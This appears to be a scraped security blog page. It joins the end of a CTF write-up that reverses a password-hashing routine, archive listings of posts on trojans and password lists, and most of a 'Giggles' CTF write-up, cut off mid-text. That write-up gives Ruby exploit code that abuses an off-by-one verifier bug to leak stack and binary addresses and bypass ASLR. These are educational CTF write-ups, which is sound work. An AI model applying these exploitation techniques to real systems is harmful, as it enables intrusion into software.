    # mov     [ebp+var_30], eax
      var_30 = ""
    
    # xor     eax, eax
      eax = 0
    
    # mov     ecx, ds:g_connection_id_plus_7 ; 0x0000007d, but changes
      ecx = connection_id[7]
      #puts('%x' % ecx.ord)
    
    # mov     edx, 55555556h
      edx = 0x55555556
    # mov     eax, ecx
      eax = ecx
    # imul    edx
      #puts("imul")
      #puts("%x" % eax.ord)
      #puts("%x" % edx)
      edx = ((eax.ord * edx) >> 32)
      #puts("%x" % edx)
    # mov     eax, ecx
      eax = ecx
    # sar     eax, 1Fh
      #puts("sar")
      #puts("%x" % eax.ord)
      eax = eax.ord >> 0x1F
      #puts("%x" % eax)
    # mov     ebx, edx
      ebx = edx
    # sub     ebx, eax
      ebx -= eax
      #puts("sub")
      #puts("%x" % ebx)
    # mov     eax, ebx
      eax = ebx
    # mov     [ebp+var_18], eax
      var_18 = eax
    # mov     edx, [ebp+var_18]
      edx = var_18
    # mov     eax, edx
      eax = edx
    # add     eax, eax
      eax = eax * 2
    # add     eax, edx
      eax = eax + edx
    
      #puts("")
      #puts("%x" % eax)
    # mov     edx, ecx
      edx = ecx
    # sub     edx, eax
      #puts()
      #puts("%x" % ecx.ord)
      #puts("%x" % edx.ord)
      edx = edx.ord - eax
      #puts("%x" % edx)
    # mov     eax, edx
      eax = edx
    # mov     [ebp+var_18], eax
      var_18 = eax
      #puts()
      #puts("%x" % var_18)
    # mov     eax, dword_804B04C
      eax = mode
    # add     [ebp+var_18], eax
      var_18 += eax
      #puts("%x" % eax)
    # mov     edx, offset g_connection_id ; <--
      edx = connection_id
    # mov     eax, [ebp+var_18]
      eax = var_18
    # add     eax, edx
    # mov     dword ptr [esp+8], 5 ; n
    # mov     [esp+4], eax    ; src
    # lea     eax, [ebp+dest]
    # mov     [esp], eax      ; dest
    # call    _strncpy
      dest = connection_id[var_18, 5]
      #puts(dest)
    # mov     [ebp+var_1C], 0
      var_1c = 0
    
    # jmp     short loc_8048F4A
    # loc_8048F2A:                            ; CODE XREF: do_password+A3j
      0.upto(4) do |var_1c|
    #   mov     eax, [ebp+var_1C]
        eax = var_1c
    #   add     eax, [ebp+var_30]
        # XXX
    #   lea     edx, [ebp+dest]
        edx = dest
    
    #   add     edx, [ebp+var_1C]
    #   movzx   ecx, byte ptr [edx]
        ecx = edx[var_1c]
    #   mov     edx, [ebp+var_1C]
        edx = var_1c
    
    #   add     edx, [ebp+var_2C]
    #   movzx   edx, byte ptr [edx]
        edx = var_2c[var_1c]
    
    #   xor     edx, ecx
        edx = edx.ord ^ ecx.ord
    #   mov     [eax], dl
        edx &= 0x0FF
        var_30[var_1c] = (edx & 0x0FF).chr
    
    #   add     [ebp+var_1C], 1
    #
    #   loc_8048F4A:                            ; CODE XREF: do_password+7Dj
    #   cmp     [ebp+var_1C], 4
    #   jle     short loc_8048F2A
      end
    
      #puts()
    
      return var_30
    end
    

    After I got it working and returning the same value as the real implementation, I had a problem! The value I returned - even though it matched the real program - wasn't quite right! It had a few binary characters in it, whereas the value sent across the network never did. I looked around and found the function - sub_8048F67 - that actually sends the password to the server. It turns out, that function replaces all the low- and high-ASCII characters with proper ones (the added lines are in bold):

    # mode = 1 for passwords, 7 for keys
    def hash_password(password, connection_id, mode)
    # mov     eax, [ebp+password]
      eax = password
    
    # mov     [ebp+var_2C], eax
      var_2c = eax
    
    # mov     eax, [ebp+buffer]
      eax = ""
    
    # mov     [ebp+var_30], eax
      var_30 = ""
    
    # xor     eax, eax
      eax = 0
    
    # mov     ecx, ds:g_connection_id_plus_7 ; 0x0000007d, but changes
      ecx = connection_id[7]
      #puts('%x' % ecx.ord)
    
    # mov     edx, 55555556h
      edx = 0x55555556
    # mov     eax, ecx
      eax = ecx
    # imul    edx
      #puts("imul")
      #puts("%x" % eax.ord)
      #puts("%x" % edx)
      edx = ((eax.ord * edx) >> 32)
      #puts("%x" % edx)
    # mov     eax, ecx
      eax = ecx
    # sar     eax, 1Fh
      #puts("sar")
      #puts("%x" % eax.ord)
      eax = eax.ord >> 0x1F
      #puts("%x" % eax)
    # mov     ebx, edx
      ebx = edx
    # sub     ebx, eax
      ebx -= eax
      #puts("sub")
      #puts("%x" % ebx)
    # mov     eax, ebx
      eax = ebx
    # mov     [ebp+var_18], eax
      var_18 = eax
    # mov     edx, [ebp+var_18]
      edx = var_18
    # mov     eax, edx
      eax = edx
    # add     eax, eax
      eax = eax * 2
    # add     eax, edx
      eax = eax + edx
    
      #puts("")
      #puts("%x" % eax)
    # mov     edx, ecx
      edx = ecx
    # sub     edx, eax
      #puts()
      #puts("%x" % ecx.ord)
      #puts("%x" % edx.ord)
      edx = edx.ord - eax
      #puts("%x" % edx)
    # mov     eax, edx
      eax = edx
    # mov     [ebp+var_18], eax
      var_18 = eax
      #puts()
      #puts("%x" % var_18)
    # mov     eax, dword_804B04C
      eax = mode
    # add     [ebp+var_18], eax
      var_18 += eax
      #puts("%x" % eax)
    # mov     edx, offset g_connection_id ; <--
      edx = connection_id
    # mov     eax, [ebp+var_18]
      eax = var_18
    # add     eax, edx
    # mov     dword ptr [esp+8], 5 ; n
    # mov     [esp+4], eax    ; src
    # lea     eax, [ebp+dest]
    # mov     [esp], eax      ; dest
    # call    _strncpy
      dest = connection_id[var_18, 5]
      #puts(dest)
    # mov     [ebp+var_1C], 0
      var_1c = 0
    
    # jmp     short loc_8048F4A
    # loc_8048F2A:                            ; CODE XREF: do_password+A3j
      0.upto(4) do |var_1c|
    #   mov     eax, [ebp+var_1C]
        eax = var_1c
    #   add     eax, [ebp+var_30]
        # XXX
    #   lea     edx, [ebp+dest]
        edx = dest
    
    #   add     edx, [ebp+var_1C]
    #   movzx   ecx, byte ptr [edx]
        ecx = edx[var_1c]
    #   mov     edx, [ebp+var_1C]
        edx = var_1c
    
    #   add     edx, [ebp+var_2C]
    #   movzx   edx, byte ptr [edx]
        edx = var_2c[var_1c]
    
    #   xor     edx, ecx
        edx = edx.ord ^ ecx.ord
    #   mov     [eax], dl
        edx &= 0x0FF
    
        #puts("before edx = %x" % edx)
        if(edx < 0x1f)
          #puts("a")
          edx += 0x20
        elsif(edx > 0x7F)
          edx = edx - 0x7E + 0x20
        end
        #puts("after edx = %x" % edx)
    
        var_30[var_1c] = (edx & 0x0FF).chr
    
    #   add     [ebp+var_1C], 1
    #
    #   loc_8048F4A:                            ; CODE XREF: do_password+7Dj
    #   cmp     [ebp+var_1C], 4
    #   jle     short loc_8048F2A
      end
    
      #puts()
    
      return var_30
    end
    

    As you can see, it's quite long and difficult to follow. But, now that the bugs were fixed, it was outputting the same thing as the real version! I set it up to log in with the username 'grumpy' and the password 'grumpy' and it worked great!

    Cleaning it up

    I didn't actually clean up the code until after the competition, but here's the step-by-step cleanup that I did, just so I could blog about it.

    First, I removed all the comments:

    def hash_password_phase2(password, connection_id, mode)
      eax = password
      var_2c = eax
      eax = ""
      var_30 = ""
      eax = 0
      ecx = connection_id[7]
      edx = 0x55555556
      eax = ecx
      edx = ((eax.ord * edx) >> 32)
      eax = ecx
      eax = eax.ord >> 0x1F
      ebx = edx
      ebx -= eax
      eax = ebx
      var_18 = eax
      edx = var_18
      eax = edx
      eax = eax * 2
      eax = eax + edx
    
      edx = ecx
      edx = edx.ord - eax
      eax = edx
      var_18 = eax
      eax = mode
      var_18 += eax
      edx = connection_id
      eax = var_18
      dest = connection_id[var_18, 5]
      var_1c = 0
    
      0.upto(4) do |var_1c|
        eax = var_1c
        edx = dest
        ecx = edx[var_1c]
        edx = var_1c
        edx = var_2c[var_1c]
        edx = edx.ord ^ ecx.ord
        edx &= 0x0FF
        if(edx < 0x1f)
          edx += 0x20
        elsif(edx > 0x7F)
          edx = edx - 0x7E + 0x20
        end
        var_30[var_1c] = (edx & 0x0FF).chr
      end
      return var_30
    end
    

    Then I started eliminating redundant statements:

    def hash_password_phase3(password, connection_id, mode)
      ecx = connection_id[7]
      eax = ecx
      edx = ((eax.ord * 0x55555556) >> 32)
      eax = ecx
      eax = eax.ord >> 0x1F
      eax = ((edx - (eax.ord >> 0x1F)) * 2) + edx
    
      edx = ecx
      edx = edx.ord - eax
      eax = edx
      var_18 = eax
      var_18 += mode
      edx = connection_id
      eax = var_18
      dest = connection_id[var_18, 5]
    
      result = ""
      0.upto(4) do |i|
        eax = i
        edx = dest
        ecx = edx[i]
        edx = password[i]
        edx = edx.ord ^ ecx.ord
        edx &= 0x0FF
        if(edx < 0x1f)
          edx += 0x20
        elsif(edx > 0x7F)
          edx = edx - 0x7E + 0x20
        end
        result << (edx & 0x0FF).chr
      end
    
      return result
    end
    

    Removed some more redundancy:

    def hash_password_phase4(password, connection_id, mode)
      char_7 = connection_id[7].ord
      edx = ((char_7 * 0x55555556) >> 32)
      eax = ((edx - (char_7 >> 0x1F >> 0x1F)) * 2) + edx
    
      result = ""
      0.upto(4) do |i|
        edx = (password[i].ord ^ connection_id[char_7 - eax + mode + i].ord) & 0xFF
    
        if(edx < 0x1f)
          edx += 0x20
        elsif(edx > 0x7F)
          edx = edx - 0x7E + 0x20
        end
        result << (edx & 0x0FF).chr
      end
    
      return result
    end
    

    And a final cleanup pass where I eliminated the "bad paths" - things that I know can't possibly happen:

    def hash_password_phase5(password, connection_id, mode)
      char_7 = connection_id[7].ord
    
      result = ""
      0.upto(4) do |i|
        edx = password[i].ord ^ connection_id[i + char_7 - (((char_7 * 0x55555556) >> 32) * 3) + mode].ord
        if(edx < 0x1f)
          edx += 0x20
        elsif(edx > 0x7F)
          edx = edx - 0x7E + 0x20
        end
        result << edx.chr
      end
    
      return result
    end
    
    

    And that's the final product! Remember, at each step of the way I was testing and re-testing to make sure it worked for a few dozen test strings. That's important because it's really, really easy to miss stuff.

    The rest of the level

    Now, getting back to the level...

    As we saw above, after logging in, the real client sends "list users" then "print key". "print key" fails because the user doesn't have administrative rights, so presumably one of the users printed out on the "list users" page does.

    I went through and manually entered each user into the program, with the same username as password (seemed like the thing to do, since grumpy's password was "grumpy") until I reached the user "duchess". When I tried "duchess", I got the prompt:

    challenge: /\&[$
    answer?
    

    When I was initially reversing the password hashing, I noticed that the hash_password() function was called a second time near the strings "challenge:" and "answer?"! The difference was that instead of passing the integer 1 as the mode, it passed 7. So I tried calling hash_password('/\&[$', connection_id, 7) and got the response, "<=}-^".

    I sent that, and the key came back! Here's the full session:

    connection ID: Tk8)k)e3a[vzN^
    
    
    *** Welcome to the ACME data retrieval service ***
    what version is your client?
    version 3.11.54
    hello...who is this?
    duchess
    enter user password
    /MJ#L
    hello duchess, what would you like to do?
    print key
    challenge: /\&[$
    answer?
    <=}-^
    the key is: The only easy day was yesterday. 44564
    

    I submitted the key with literally three minutes to go. I was never really sure if I was doing the right thing at each step of the way, but it worked!

    An alternate solution

    If I'd had the presence of mind to realize that the username would always be the password, there's another obvious solution to the problem that probably would have been a whole lot easier.

    The string "grumpy" (as both the username and the password) is only read in three different places in the binary. It would have been fairly trivial to:

    1. Find a place in the binary where there's some room (right on top of the old "grumpy" would be fine)
    2. Put the string "duchess" in this location (and the other potential usernames if you don't yet know which one has administrative access)
    3. Patch the three references to "grumpy" to point to the new string instead of the old one - unfortunately, using a new location instead of just overwriting the strings is necessary because "duchess" is longer than "grumpy" so there's no room
    4. Run the program and let it get the key itself

    That would have been quicker and easier, but I wasn't confident enough that the usernames and passwords would be the same, and I didn't want to risk going down the wrong path with almost no time left, so I decided against trying that.

    Conclusion

    This wasn't the most exciting level I've ever done, but it was quick and gave me the opportunity to do some mildly interesting reverse engineering.

    The main idea was to show off my process - translate line by line, instrument it, debug till it works, then refactor and reduce and clean up the code!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### December » 2010 » SkullSecurity

    Watch out for exim!

    Hey everybody, Most of you have probably heard of the exim vulnerability this week. It has potential to be a nasty one, and my brain is stuffed with its inner workings right now so I want to post before I explode! First off, if you're concerned that you might have vulnerable hosts, I wrote a […]

    #####EOF##### December » 2008 » SkullSecurity

    Getting HKEY_PERFORMANCE_DATA

    Hi everybody, I spent most of last Saturday exploring how SysInternals' PsList program works, and how I could re-implement it as an Nmap script. I quickly discovered that the HKEY_PERFORMANCE_DATA (HKPD) registry hive was opened, then it got complicated. So I went digging for documentation and discovered a couple journals posts written by Microsoft's Matt […]

    #####EOF##### #####EOF##### March » 2010 » SkullSecurity

    Comments should work again!

    So, I realized that the reCAPTCHA plugin for WordPress sucks was marking a lot of comments as spam, when it was actually working and not getting timeout errors (thanks to my egress filtering). I decided to toss it out and go with a math-based CAPTCHA for posts, so you should once again be able to […]

    Taking apart the Energizer trojan – Part 4: writing a probe

    Now that we know what we need to send and receive, and how it's encoded, let's generate the actual packet. Then, once we're sure it's working, we'll convert it into an Nmap probe! In most of this section, I assume you're running Linux, Mac, or some other operating system with a built-in compiler and useful […]

    Taking apart the Energizer trojan – Part 3: disassembling

    In Part 2: runtime analysis, we discovered some important addresses in the Energizer Trojan -- specifically, the addresses that make the call to recv() data. Be sure to read that section before reading this one. Now that we have some starting addresses, we can move on to a disassembler and look at what the code's […]

    Taking apart the Energizer trojan – Part 2: runtime analysis

    In Part 1: setup, we infected the system with the Trojan. It should still be running on the victim machine. If you haven't read that section, I strongly recommend you go back and read it. Now that we've infected a test machine, the goal of this step is to experiment a little with the debugger […]

    Taking apart the Energizer trojan – Part 1: setup

    Hey all, As most of you know, a Trojan was recently discovered in the software for Energizer's USB battery charger. Following its release, I wrote an Nmap probe to detect the Trojan and HDMoore wrote a Metasploit module to exploit it. I mentioned in my last post that it was a nice sample to study […]

    Are you a “Real” hacker or just a skiddie?

    This is yet another guest post from our good friend Matt Gardenghi! If you enjoy this one, don't forget to check his last one: Trusting the Browser (a ckeditor short story). ------------------ Often, I hear arguments that go like this: real hackers write code and exploits; everyone else is a script-kiddie. That is a dumb […]

    Weaponizing dnscat with shellcode and Metasploit

    Hey all, I've been letting other projects slip these last couple weeks because I was excited about converting dnscat into shellcode (or "weaponizing dnscat", as I enjoy saying). Even though I got into the security field with reverse engineering and writing hacks for games, I have never written more than a couple lines of x86 […]

    robots.txt: important if you’re hosting passwords

    This is going to be a fun post that's related to some of my password work. Some of the text may not be PG13, so parental discretion is advised. As most of you know, I've been collecting password lists. In addition to normal password lists that are useful in bruteforcing, I have a (so far) […]

    The ultimate faceoff between password lists

    Yes, I'm still working on making the ultimate password list. And I don't mean the 16gb one I made by taking pretty much every word or word-looking string on the Internet when I was a kid; that was called ultimater dictionary. No; I mean one that is streamlined, sorted, and will make Nmap the bruteforce […]

    Trusting the Browser (a ckeditor short story)

    My name is Matt Gardenghi. Ron seems to think it important that this post be clearly attributed to someone else (this fact might worry me). I'm an occasional contributor here (see: Bypassing AV). I handle security at Bob Jones University and also perform pentests on the side. (So if you need someone to do work, […]

    Using Nmap to detect the Arucer (ie, Energizer) Trojan

    Hey, I don't usually write two posts in one day, but today is a special occasion! I was reading my news feeds (well, my co-op student (ie, intern) was -- I was doing paperwork), and noticed a story about a remote backdoor being included with the Energizer UsbCharger software. Too funny!

    Hard evidence that people suck at passwords

    Hey everybody! As you probably know, I've been working hard on generating and evaluating passwords. My last post was all about Rockyou.com's passwords; next post will (probably) be about different groups of passwords from my just updated password dictionaries page. This will be a little different, though.

    How big is the ideal dick…tionary?

    Hey all, As some of you know, I've been working on collecting leaked passwords/other dictionaries. I spent some time this week updating my wiki's password page. Check it out and let me know what I'm missing, and I'll go ahead and mirror it. I've had a couple new developments in my password list, though. Besides […]

    #####EOF##### GitS 2015: Giggles (off-by-one virtual machine) » SkullSecurity


    GitS 2015: Giggles (off-by-one virtual machine)

    Welcome to part 3 of my Ghost in the Shellcode writeup! Sorry for the delay, I actually just moved to Seattle. On a sidenote, if there are any Seattle hackers out there reading this, hit me up and let's get a drink!

    Now, down to business: this writeup is about one of the Pwnage 300 levels; specifically, Giggles, which implements a very simple and very vulnerable virtual machine. You can download the binary here, the source code here (with my comments - I put XXX near most of the vulnerabilities and bad practices I noticed), and my exploit here.

    One really cool aspect of this level was that they gave source code, a binary with symbols, and even a client (that's the last time I'll mention their client, since I dislike Python :) )! That means we could focus on exploitation and not reversing!

    The virtual machine

    I'll start by explaining how the virtual machine actually works. If you worked on this level yourself, or you don't care about the background, you can just skip over this section.

    Basically, there are three operations: TYPE_ADDFUNC, TYPE_VERIFY, and TYPE_RUNFUNC.

    The usual process is that the user adds a function using TYPE_ADDFUNC, which is made up of one (possibly zero?) or more operations. Then the user verifies the function, which checks for bounds violations and stuff like that. Then if that succeeds, the user can run the function. The function can take up to 10 arguments and output as much as it wants.

    There are only seven different opcodes (types of operations), and one of the tricky parts is that none of them deal with absolute values—only other registers. They are:

    • OP_ADD reg1, reg2 - add two registers together, and store the result in reg1
    • OP_BR <addr> - branch (jump) to a particular instruction - the granularity of these jumps is actually per-instruction, not per-byte, so you can't jump into the middle of another instruction, which ruined my initial instinct :(
    • OP_BEQ <addr> <reg1> <reg2> / OP_BGT <addr> <reg1> <reg2> - branch if equal and branch if greater than are basically the same as OP_BR, except the jumps are conditional
    • OP_MOV <reg1> <reg2< - set reg1 to equal reg2
    • OP_OUT <reg> - output a register (gets returned as a hex value by RUNFUNC)
    • OP_EXIT - terminate the function

    To expand on the output just a bit - the program maintains the output in a buffer that's basically a series of space-separated hex values. At the end of the program (when it either terminates or OP_EXIT is called), it's sent back to the client. I was initially worried that I would have to craft some hex-with-spaces shellcode, but thankfully that wasn't necessary. :)

    There are 10 different registers that can be accessed. Each one is 32 bits. The operand values, however, are all 64-bit values.

    The verification process basically ensures that the registers and the addresses are mostly sane. Once it's been validated, a flag is switched and the function can be called. If you call the function before verifying it, it'll fail immediately. If you can use arbitrary bytecode instructions, you'd be able to address register 1000000, say, and read/write elsewhere in memory. They wanted to prevent that.

    Speaking of the vulnerability, the bug that leads to full code execution is in the verify function - can you find it before I tell you?

    The final thing to mention is arguments: when you call TYPE_RUNFUNC, you can pass up to I think 10 arguments, which are 32-bit values that are placed in the first 8 registers.

    Fixing the binary

    I've gotten pretty efficient at patching binaries for CTFs! I've talked about this before, so I'll just mention what I do briefly.

    I do these things immediately, before I even start working on the challenge:

    • Replace the call to alarm() with NOPs
    • Replace the call to fork() with "xor eax, eax", followed by NOPs
    • Replace the call to drop_privs() with NOPs
    • (if I can find it)

    That way, the process won't be killed after a timeout, and I can debug it without worrying about child processes holding onto ports and other irritations. NOPing out drop_privs() means I don't have to worry about adding a user or running it as root or creating a folder for it. If you look at the objdump outputs diffed, here's what it looks like:

    --- a   2015-01-27 13:30:29.000000000 -0800
    +++ b   2015-01-27 13:30:31.000000000 -0800
    @@ -1,5 +1,5 @@
    
    -giggles:     file format elf64-x86-64
    +giggles-fixed:     file format elf64-x86-64
    
    
     Disassembly of section .interp:
    @@ -1366,7 +1366,10 @@
         125b:      83 7d f4 ff             cmp    DWORD PTR [rbp-0xc],0xffffffff
         125f:      75 02                   jne    1263 <loop+0x3d>
         1261:      eb 68                   jmp    12cb <loop+0xa5>
    -    1263:      e8 b8 fc ff ff          call   f20 <fork@plt>
    +    1263:      31 c0                   xor    eax,eax
    +    1265:      90                      nop
    +    1266:      90                      nop
    +    1267:      90                      nop
         1268:      89 45 f8                mov    DWORD PTR [rbp-0x8],eax
         126b:      83 7d f8 ff             cmp    DWORD PTR [rbp-0x8],0xffffffff
         126f:      75 02                   jne    1273 <loop+0x4d>
    @@ -1374,14 +1377,26 @@
         1273:      83 7d f8 00             cmp    DWORD PTR [rbp-0x8],0x0
         1277:      75 48                   jne    12c1 <loop+0x9b>
         1279:      bf 1e 00 00 00          mov    edi,0x1e
    -    127e:      e8 6d fb ff ff          call   df0 <alarm@plt>
    +    127e:      90                      nop
    +    127f:      90                      nop
    +    1280:      90                      nop
    +    1281:      90                      nop
    +    1282:      90                      nop
         1283:      48 8d 05 b6 1e 20 00    lea    rax,[rip+0x201eb6]        # 203140 <USER>
         128a:      48 8b 00                mov    rax,QWORD PTR [rax]
         128d:      48 89 c7                mov    rdi,rax
    -    1290:      e8 43 00 00 00          call   12d8 <drop_privs_user>
    +    1290:      90                      nop
    +    1291:      90                      nop
    +    1292:      90                      nop
    +    1293:      90                      nop
    +    1294:      90                      nop
         1295:      8b 45 ec                mov    eax,DWORD PTR [rbp-0x14]
         1298:      89 c7                   mov    edi,eax
    
    

    I just use a simple hex editor on Windows, xvi32.exe, to take care of that. But you can do it in countless other ways, obviously.

    What's wrong with verifyBytecode()?

    Have you found the vulnerability yet?

    I'll give you a hint: look at the comparison operators in this function:

    int verifyBytecode(struct operation * bytecode, unsigned int n_ops)
    {
        unsigned int i;
        for (i = 0; i < n_ops; i++)
        {
            switch (bytecode[i].opcode)
            {
                case OP_MOV:
                case OP_ADD:
                    if (bytecode[i].operand1 > NUM_REGISTERS)
                        return 0;
                    else if (bytecode[i].operand2 > NUM_REGISTERS)
                        return 0;
                    break;
                case OP_OUT:
                    if (bytecode[i].operand1 > NUM_REGISTERS)
                        return 0;
                    break;
                case OP_BR:
                    if (bytecode[i].operand1 > n_ops)
                        return 0;
                    break;
                case OP_BEQ:
                case OP_BGT:
                    if (bytecode[i].operand2 > NUM_REGISTERS)
                        return 0;
                    else if (bytecode[i].operand3 > NUM_REGISTERS)
                        return 0;
                    else if (bytecode[i].operand1 > n_ops)
                        return 0;
                    break;
                case OP_EXIT:
                    break;
                default:
                    return 0;
            }
        }
        return 1;
    }
    

    Notice how it checks every operation? It checks if the index is greater than the maximum value. That's an off-by-one error. Oops!

    Information leak

    There are actually a lot of small issues in this code. The first good one I noticed was actually that you can output one extra register. Here's what I mean (grab my exploit if you want to understand the API):

    def demo()
      s = TCPSocket.new(SERVER, PORT)
    
      ops = []
      ops << create_op(OP_OUT, 10)
      add(s, ops)
      verify(s, 0)
      result = execute(s, 0, [])
    
      pp result
    end
    

    The output of that operation is:
    "42fd35d8 "

    Which, it turns out, is a memory address that's right after a "call" function. A return address!? Can it be this easy!?

    It turns out that, no, it's not that easy. While I can read / write to that address, effectively bypasing ASLR, it turned out to be some left-over memory from an old call. I didn't even end up using that leak, either, I found a better one!

    The actual vulnerabilitiy

    After finding the off-by-one bug that let me read an extra register, I didn't really think much more about it. Later on, I came back to the verifyBytecode() function and noticed that the BR/BEQ/BGT instructions have the exact same bug! You can branch to the last instruction + 1, where it keeps running unverified memory as if it's bytecode!

    What comes after the last instruction in memory? Well, it turns out to be a whole bunch of zeroes (00 00 00 00...), then other functions you've added, verified or otherwise. An instruction is 26 bytes long in memory (two bytes for the opcode, and three 64-bit operands), and the instruction "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" actually maps to "add reg0, reg0", which is nice and safe to do over and over again (although it does screw up the value in reg0).

    Aligning the interpreter

    At this point, it got a bit complicated. Sure, I'd found a way to break out of the sandbox to run unverified code, but it's not as straight forward as you might think.

    The problem? The spacing of the different "functions" in memory (that is, groups of operations) aren't multiples of 26 bytes apart, thanks to headers, so if you break out of one function and into another, you wind up trying to execute bytecode that's somewhat offset.

    In other words, if your second function starts at address 0, the interpreter tries to run the bytecode at -12 (give or take). The bytecode at -12 just happens to be the number of instructions in the function, so the first opcode is actually equal to the number of operations (so if you have three operations in the function, the first operation will be opcode 3, or BEQ). Its operands are bits and pieces of the opcodes and operands. Basically, it's a big mess.

    To get this working, I wanted to basically just skip over that function altogether and run the third function (which would hopefully be a little better aligned). Basically, I wanted the function to do nothing dangerous, then continue on to the third function.

    Here's the code I ended up writing (sorry the formatting isn't great, check out the exploit I linked above to see it better):

    # This creates a valid-looking bytecode function that jumps out of bounds,
    # then a non-validated function that puts us in a more usable bytecode
    # escape
    def init()
      puts("[*] Connecting to #{SERVER}:#{PORT}")
      s = TCPSocket.new(SERVER, PORT)
      #puts("[*] Connected!")
    
      ops = []
    
      # This branches to the second instruction - which doesn't exist
      ops << create_op(OP_BR, 1)
      add(s, ops)
      verify(s, 0)
    
      # This little section takes some explaining. Basically, we've escaped the bytecode
      # interpreter, but we aren't aligned properly. As a result, it's really irritating
      # to write bytecode (for example, the code of the first operation is equal to the
      # number of operations!)
      #
      # Because there are 4 opcodes below, it performs opcode 4, which is 'mov'. I ensure
      # that both operands are 0, so it does 'mov reg0, reg0'.
      #
      # After that, the next one is a branch (opcode 1) to offset 3, which effectively
      # jumps past the end and continues on to the third set of bytecode, which is out
      # ultimate payload.
    
      ops = []
      # (operand = count)
      #                  |--|               |---|                                          <-- inst1 operand1 (0 = reg0)
      #                          |--------|                    |----|                      <-- inst1 operand2 (0 = reg0)
      #                                                                        |--|        <-- inst2 opcode (1 = br)
      #                                                                  |----|            <-- inst2 operand1
      ops << create_op(0x0000, 0x0000000000000000, 0x4242424242000000, 0x00003d0001434343)
      #                  |--|              |----|                                          <-- inst2 operand1
      ops << create_op(0x0000, 0x4444444444000000, 0x4545454545454545, 0x4646464646464646)
      # The values of these don't matter, as long as we still have 4 instructions
      ops << create_op(0xBBBB, 0x4747474747474747, 0x4848484848484848, 0x4949494949494949)
      ops << create_op(0xCCCC, 0x4a4a4a4a4a4a4a4a, 0x4b4b4b4b4b4b4b4b, 0x4c4c4c4c4c4c4c4c)
    
      # Add them
      add(s, ops)
    
      return s
    end
    

    The comments explain it pretty well, but I'll explain it again. :)

    The first opcode in the unverified function is, as I mentioned, equal to the number of operations. We create a function with 4 operations, which makes it a MOV instruction. Performing a MOV is pretty safe, especially since reg0 is already screwed up.

    The two operands to instruction 1 are parts of the opcodes and operands of the first function. And the opcode for the second instruction is part of third operand in the first operation we create. Super confusing!

    Effectively, this ends up running:

    mov reg0, reg0
    br 0x3d
    ; [bad instructions that get skipped]
    

    I'm honestly not sure why I chose 0x3d as the jump distance, I suspect it's just a number that I was testing with that happened to work. The instructions after the BR don't matter, so I just fill them in with garbage that's easy to recognize in a debugger.

    So basically, this function just does nothing, effectively, which is exactly what I wanted.

    Getting back in sync

    I hoped that the third function would run perfectly, but because of math, it still doesn't. However, the operation count no longer matters in the third function, which is good enough for me! After doing some experiments, I determined that the instructions are unaligned by 0x10 (16) bytes. If you pad the start with 0x10 bytes then add instructions as normal, they'll run completely unverified.

    To build the opcodes for the third function, I added a parameter to the add() function that lets you offset things:

    #[...]
      # We have to cleanly exit
      ops << create_op(OP_EXIT)
    
      # Add the list of ops, offset by 10 (that's how the math worked out)
      add(s, ops, 16)
    #[...]
    

    Now you can run entirely unverified bytecode instructions! That means full read/write/execute of arbitrary addresses relative to the base address of the registers array. That's awesome! Because the registers array is on the stack, we have read/write access relative to a stack address. That means you can trivially read/write the return address and leak addresses of the binary, libc, or anything you want. ASLR bypass and RIP control instantly!

    Leaking addresses

    There are two separate sets of addresses that need to be leaked. It turns out that even though ASLR is enabled, the addresses don't actually randomize between different connections, so I can leak addresses, reconnect, leak more addresses, reconnect, and run the exploit. It's not the cleanest way to solve the level, but it worked! If this didn't work, I could have written a simple multiplexer bytecode function that does all these things using the same function.

    I mentioned I can trivially leak the binary address and a stack address. Here's how:

    # This function leaks two addresses: a stack address and the address of
    # the binary image (basically, defeating ASLR)
    def leak_addresses()
      puts("[*] Bypassing ASLR by leaking stack/binary addresses")
      s = init()
    
      # There's a stack address at offsets 24/25
      ops = []
      ops << create_op(OP_OUT, 24)
      ops << create_op(OP_OUT, 25)
    
      # 26/27 is the return address, we'll use it later as well!
      ops << create_op(OP_OUT, 26)
      ops << create_op(OP_OUT, 27)
    
      # We have to cleanly exit
      ops << create_op(OP_EXIT)
    
      # Add the list of ops, offset by 10 (that's how the math worked out)
      add(s, ops, 16)
    
      # Run the code
      result = execute(s, 0, [])
    
      # The result is a space-delimited array of hex values, convert it to
      # an array of integers
      a = result.split(/ /).map { |str| str.to_i(16) }
    
      # Read the two values in and do the math to calculate them
      @@registers = ((a[1] << 32) | (a[0])) - 0xc0
      @@base_addr = ((a[3] << 32) | (a[2])) - 0x1efd
    
      # User output
      puts("[*] Found the base address of the register array: 0x#{@@registers.to_s(16)}")
      puts("[*] Found the base address of the binary: 0x#{@@base_addr.to_s(16)}")
    
      s.close
    end
    

    Basically, we output registers 24, 25, 26, and 27. Since the OUT function is 4 bytes, you have to call OUT twice to leak a 64-bit address.

    Registers 24 and 25 are an address on the stack. The address is 0xc0 bytes above the address of the registers variable (which is the base address of our overflow, and therefore needed for calculating offsets), so we subtract that. I determined the 0xc0 value using a debugger.

    Registers 26 and 27 are the return address of the current function, which happens to be 0x1efd bytes into the binary (determined with IDA). So we subtract that value from the result and get the base address of the binary.

    I also found a way to leak a libc address here, but since I never got a copy of libc I didn't bother keeping that code around.

    Now that we have the base address of the binary and the address of the registers, we can use the OUT and MOV operations, plus a little bit of math, to read and write anywhere in memory.

    Quick aside: getting enough sleep

    You may not know this, but I work through CTF challenges very slowly. I like to understand every aspect of everything, so I don't rush. My secret is, I can work tirelessly at these challenges until they're complete. But I'll never win a race.

    I got to this point at around midnight, after working nearly 10 hours on this challenge. Most CTFers will wonder why it took 10 hours to get here, so I'll explain again: I work slowly. :)

    The problem is, I forgot one very important fact: that the operands to each operation are all 64-bit values, even though the arguments and registers themselves are 32-bit. That means we can calculate an address from the register array to anywhere in memory. I thought they were 32 bit, however, and since the process is 64-bit Ii'd be able to read/write the stack, but not addresses the binary! That wasn't true, I could write anywhere, but I didn't know that. So I was trying a bunch of crazy stack stuff to get it working, but ultimately failed.

    At around 2am I gave up and played video games for an hour, then finished the book I was reading. I went to bed about 3:30am, still thinking about the problem. Laying in bed about 4am, it clicked in that register numbers could be 64-bit, so I got up and finished it up for about 7am. :)

    The moral of this story is: sometimes it pays to get some rest when you're struggling with a problem!

    +rwx memory!?

    The authors of the challenge must have been feeling extremely generous: they gave us a segment of memory that's readable, writeable, and executable! You can write code to it then run it! Here's where it's declared:

    void * JIT;     // TODO: add code to JIT functions
    
    //[...]
    
        /* Map 4096 bytes of executable memory */
